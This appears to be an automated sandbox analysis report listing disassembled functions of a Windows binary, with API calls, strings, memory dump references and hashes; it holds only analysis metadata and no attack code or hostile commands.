Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CriticalSection$AllocExceptionException@8H_prolog3InitializeLeaveRaiseThrow
String ID: Pe
API String ID: 1769093764-3533477303
Opcode ID: 508ca474dc4dd0169069920cf758b9934946f059a83e0fc7dcf7892ae0556e35
Instruction ID: 1ff2125fcfefd607e4dd1bb9d7c2c5e67b3c16456ee029341a434043f48df97b
Opcode Fuzzy Hash: 508ca474dc4dd0169069920cf758b9934946f059a83e0fc7dcf7892ae0556e35
Instruction Fuzzy Hash: F1014074A0021A9BDB25AF74C806B9D37A5AF47754F18A528F950FF2D1EF38ED009B50

Function 00E87675 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00E87699
PathFindExtensionA.SHLWAPI(?), ref: 00E876AF

Strings

%Ts%Ts.dll, xrefs: 00E876B5

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ExtensionFileFindModuleNamePath
String ID: %Ts%Ts.dll
API String ID: 2295281026-1896370695
Opcode ID: 126e926ed3a1bc91b3cd20939f50cb7e067599f5901f2d31b3cb4b4b746ff7f4
Instruction ID: 016914c25ce99fd0f721765fbe0d703e6aa39aac50cb34c665c767dafe9398ef
Opcode Fuzzy Hash: 126e926ed3a1bc91b3cd20939f50cb7e067599f5901f2d31b3cb4b4b746ff7f4
Instruction Fuzzy Hash: 93F0A471A1011D9FCB12EB68DD46AEF7BFCAB09700F1004A5A549E7140EA76DE04DBA1

Function 00E87753 Relevance: 4.6, APIs: 3, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,01004094,00000000,00000001,00000000), ref: 00E88014
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000004), ref: 00E88035
RegCloseKey.ADVAPI32(00000000), ref: 00E88079

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 6795036598c5f1a2c9fdc2605bfe1cf9efeb92f6a47397f0ee9f1fce4d3b673f
Instruction ID: d6176bf8a77d95aeeae4f55f67faf6d6f37cfff817a19b1f9149bb700ed9d74a
Opcode Fuzzy Hash: 6795036598c5f1a2c9fdc2605bfe1cf9efeb92f6a47397f0ee9f1fce4d3b673f
Instruction Fuzzy Hash: F0217F72A10205FFFF24DB90C945BAAB7B8FB1031AF104558E959B6040D7B9AA48CB50

Function 00E9C071 Relevance: 4.5, APIs: 3, Instructions: 46windowCOMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000030,00000000,00000000,00000000), ref: 00E9BFAA
TranslateMessage.USER32(00000030), ref: 00E9BFC9
DispatchMessageA.USER32(00000030), ref: 00E9BFD0

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Message$CallbackDispatchDispatcherTranslateUser
String ID:
API String ID: 2960505505-0
Opcode ID: 2b77091a2ad5b0c69dd24ef4172653c2dafa2a02e0818305e5e6f1f9b5dc5735
Instruction ID: 417259ab6c26e3841cf6504748b6c3f05638bab69e544bdee50032f2f4b47697
Opcode Fuzzy Hash: 2b77091a2ad5b0c69dd24ef4172653c2dafa2a02e0818305e5e6f1f9b5dc5735
Instruction Fuzzy Hash: 9BF06232715920AF8B236B64BD489BF779DFFC53657166025F801E7604EB28D8438BA2

Function 00E95DED Relevance: 4.5, APIs: 3, Instructions: 24COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000005), ref: 00E95E01
LoadResource.KERNEL32(?,00000000), ref: 00E95E09
LockResource.KERNEL32(00000000), ref: 00E95E19

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$FindLoadLock
String ID:
API String ID: 2752051264-0
Opcode ID: 7b5102a6bb4392fd415e025d536b766243bdafe21e4201015f6985e8b5b9a005
Instruction ID: 0e99fcdc55f9034124d2457b8bbc49b9a498018c96b4638af5c168e4c97e6667
Opcode Fuzzy Hash: 7b5102a6bb4392fd415e025d536b766243bdafe21e4201015f6985e8b5b9a005
Instruction Fuzzy Hash: 7AE06D39D11E22AFCB235BA4480869E7BE8BF08320F015214F950FB245DF3999004BA5

Function 00E83F44 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00E840AA

Part of subcall function 00E858B0: std::_Lockit::_Lockit.LIBCPMT ref: 00E858EA
Part of subcall function 00E858B0: std::_Lockit::_Lockit.LIBCPMT ref: 00E85908
Part of subcall function 00E858B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00E85928
Part of subcall function 00E858B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00E859F4

Strings

ios_base::badbit set, xrefs: 00E84078, 00E84098, 00E840B3

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throw
String ID: ios_base::badbit set
API String ID: 2777619170-3882152299
Opcode ID: 6f72c5f93495890465ca754e7e06cd5ce208c4f5bcbdf5606a02b27b23165baf
Instruction ID: b7b8be31910613314873da8f41f7b9b53ff2bde35727fba24805f6995c9a68a8
Opcode Fuzzy Hash: 6f72c5f93495890465ca754e7e06cd5ce208c4f5bcbdf5606a02b27b23165baf
Instruction Fuzzy Hash: 4D517EB1A0060AEFDB04EF64C955B9ABBF4FF04304F04816AE90D9B791EB75E911CB91

Function 00E81D01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E89764: SHGetMalloc.SHELL32(?), ref: 00E89784

Part of subcall function 00E9CC35: __EH_prolog3.LIBCMT ref: 00E9CC3C

LoadIconW.USER32(?,00000080), ref: 00E81D81

Strings

h0H, xrefs: 00E81D1B

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3IconLoadMalloc
String ID: h0H
API String ID: 3946107928-516209883
Opcode ID: e1fe72301d3cf5a4554f8bee6157a23833f90c3648fb5503d340f12af5be67cc
Instruction ID: e2e6c2831dbb3c98a01af461a7cb3d877a5995115ca79d58b87719257d95cdbd
Opcode Fuzzy Hash: e1fe72301d3cf5a4554f8bee6157a23833f90c3648fb5503d340f12af5be67cc
Instruction Fuzzy Hash: C7219F71E402159BCF25FFA0D85ABADB7F4AF04710F0045A9E8097B2C2DF755A44CB90

Function 00E880FA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CreateActCtxWWorker.KERNEL32(?,00E884AA,00000020), ref: 00E88138

Part of subcall function 00E882F6: DeactivateActCtx.KERNEL32(?,00E88161,01003E28,0105FD94,DeactivateActCtx,00000000,?,00E96590,00000000,00000000,00E96546), ref: 00E88317
Part of subcall function 00E882F6: GetProcAddress.KERNEL32(00000000,00000000), ref: 00E88324

Strings

CreateActCtxW, xrefs: 00E88108

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: AddressCreateDeactivateProcWorker
String ID: CreateActCtxW
API String ID: 1192707186-1163823230
Opcode ID: 4113f1b96800bdee3408813ae9fd98bfb905f5a387325130e0976e74c27e51f0
Instruction ID: 048d17fc244fa6b438197dbc6c2904aa4154dbed03775aa252a39cca672e3875
Opcode Fuzzy Hash: 4113f1b96800bdee3408813ae9fd98bfb905f5a387325130e0976e74c27e51f0
Instruction Fuzzy Hash: CDE0DF32A41B346B073336559D0881B3B19AA15BF07401216EC9C7F291CFAD8C0143D0

Function 00EA1B4F Relevance: 3.4, APIs: 2, Instructions: 419COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00EA1B59

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 4a7ea044f6a3724522a783ad9016e956d735cb1a89962c1a6de813ca4da1a217
Instruction ID: 5acb7190606ec4940832822720cee040384ac83409af7ae0cd5beb5208bd7ddb
Opcode Fuzzy Hash: 4a7ea044f6a3724522a783ad9016e956d735cb1a89962c1a6de813ca4da1a217
Instruction Fuzzy Hash: 77F16C74A002169FCF19DF68C880BAE77B6BF4A314F145569E816BF291DB38ED41CB90

Function 00EA3A3C Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00EA562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00EA5638

GetWindowRect.USER32(?,?), ref: 00EA3A7D
GetWindow.USER32(00000004,00000004), ref: 00EA3A9A

Part of subcall function 00EA579D: IsWindowEnabled.USER32(?), ref: 00EA57A8

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$EnabledLongRect
String ID:
API String ID: 3170195891-0
Opcode ID: b58b006a8ea8a0cda0d852dbb301e075d4d39eca10b69797a11ef54aeb16a463
Instruction ID: 2764f9fa248be8afc89c24415e7a9f1d25b4cee5c87c33c3f2d6b2c7a24cccd3
Opcode Fuzzy Hash: b58b006a8ea8a0cda0d852dbb301e075d4d39eca10b69797a11ef54aeb16a463
Instruction Fuzzy Hash: 84116A70B00219ABCB15EF64C980A7EB7B9FF4D354F501069E845BB240DB39EE008B50

Function 00F44D39 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,00F3DA13,00000000,?,00F3D778,8C3A2C7B,00000000), ref: 00F44D84
SetErrorMode.KERNEL32(00000000,?,?,00000000,?,?,00000000,?,00F3DA13,00000000,?,00F3D778,8C3A2C7B,00000000), ref: 00F44D90

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a66d696710f686add384876932c22c7f4925a0b87daf6bb4c69b3d2832400a8b
Instruction ID: d90ecfe69695d0665187fa56780d0b567fa2060487d7fd03c114579eec16aa4e
Opcode Fuzzy Hash: a66d696710f686add384876932c22c7f4925a0b87daf6bb4c69b3d2832400a8b
Instruction Fuzzy Hash: 7CF0AF70810358AFCB20FFA4D409B497FFCAF00720F008459F959AB252CB75E851CBA1

Function 00E9FDD2 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 00E9FE17
CallWindowProcA.USER32(?,?,?,?,?), ref: 00E9FE20

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ProcWindow$Call
String ID:
API String ID: 2316559721-0
Opcode ID: d136ca8e52b82f66ea770b601089adb28950b68a036e645a78f25ba654d31ca8
Instruction ID: 9b1f0dfff6acda35ad1f44b5257af2ccd65eed54c0e50c39245ea1a3a0774847
Opcode Fuzzy Hash: d136ca8e52b82f66ea770b601089adb28950b68a036e645a78f25ba654d31ca8
Instruction Fuzzy Hash: B3F0F936200106FFCF164F95D808EA9BB6AFF48361B044025F90596520D736D860EB90

Function 00E9BE5E Relevance: 3.0, APIs: 2, Instructions: 15threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E9BE71
SetWindowsHookExA.USER32(000000FF,00E9C519,00000000,00000000), ref: 00E9BE81

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID:
API String ID: 1904029216-0
Opcode ID: b31a0d2ed61b81e4b83c795376c7a031475906e23b6ac550afef3a4c7551ee21
Instruction ID: 0d479653dde3cacd80e5661aac1236c69008dc5a63f0cf0a5f504cb5a11c2fae
Opcode Fuzzy Hash: b31a0d2ed61b81e4b83c795376c7a031475906e23b6ac550afef3a4c7551ee21
Instruction Fuzzy Hash: E4D0A77A408720BEEF3227707C0DB853A949B05338F121341F5617A1C5C73498824761

Function 00E965C2 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00E965C9

Part of subcall function 00E973FE: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 00E9745B
Part of subcall function 00E973FE: VerSetConditionMask.KERNEL32(00000000), ref: 00E97463
Part of subcall function 00E973FE: VerifyVersionInfoA.KERNEL32(0000009C,00000003,00000000), ref: 00E97474
Part of subcall function 00E973FE: KiUserCallbackDispatcher.NTDLL(00001000), ref: 00E97485

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ConditionMask$CallbackDispatcherH_prolog3InfoUserVerifyVersion
String ID:
API String ID: 594580106-0
Opcode ID: 7e547dc31add37247599c5c778e4eec49bdcc3d87c7076ef0358d5fce0f669c7
Instruction ID: 05803df332c932eb1010ebb38171c7eb610c31e5bbf8e6ff14d43429e927c513
Opcode Fuzzy Hash: 7e547dc31add37247599c5c778e4eec49bdcc3d87c7076ef0358d5fce0f669c7
Instruction Fuzzy Hash: C351DBB0906F418FD3A9CF3A85417C6FAE0BF89300F508A2E91EED6261EB746184DF55

Function 00E8750F Relevance: 1.6, APIs: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,0000036A,00000000,00000000), ref: 00E87530

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 5f7f6e464253571ec212661e9ec01e78af54f0fcfb3ce107ab14a44fb96a121b
Instruction ID: 822d6bfc342111f4660ee7f7b9ad135df56de8c82606478f59939d229664311f
Opcode Fuzzy Hash: 5f7f6e464253571ec212661e9ec01e78af54f0fcfb3ce107ab14a44fb96a121b
Instruction Fuzzy Hash: 4911BF35704615AFCB2AAF69E84496EBBA9FF89360714407AF989D7300DB39DC108F90

Function 00E875B6 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00E875BD

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 080a0f0de3ccaf138cb8e4178bf51bad9648b700d3abbcba19075c5361339166
Instruction ID: 2a26cfb71d8161b244016d1454081d26783cb3dacc354120b639d01ae4792de5
Opcode Fuzzy Hash: 080a0f0de3ccaf138cb8e4178bf51bad9648b700d3abbcba19075c5361339166
Instruction Fuzzy Hash: DC117F34B006218FCF09AB64C855B6D3BA9BF48714F0400A9E98AEB356CF38AC05CF94

Function 00E9E06E Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00E86020: FindResourceW.KERNEL32(?,49000000,00000006,?,?,?,80004005,8C3A2C7B,?,?,?,00000000,00FF50D8,000000FF,?,00E87632), ref: 00E86038

WideCharToMultiByte.KERNEL32(00000000,00000000,00000002,?,00000001,?,00000000,00000000,00000000,?,?,00E9922D,?,?,00000080), ref: 00E9E0B6

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ByteCharFindMultiResourceWide
String ID:
API String ID: 3726879926-0
Opcode ID: 75f20549758918dd06e788aca57d58a5dff77fc055bdfbd8264842b04dd4e716
Instruction ID: 1c584623761fb82f7060dcb1dd15f564ace001e9159a553a6cdd49e163779635
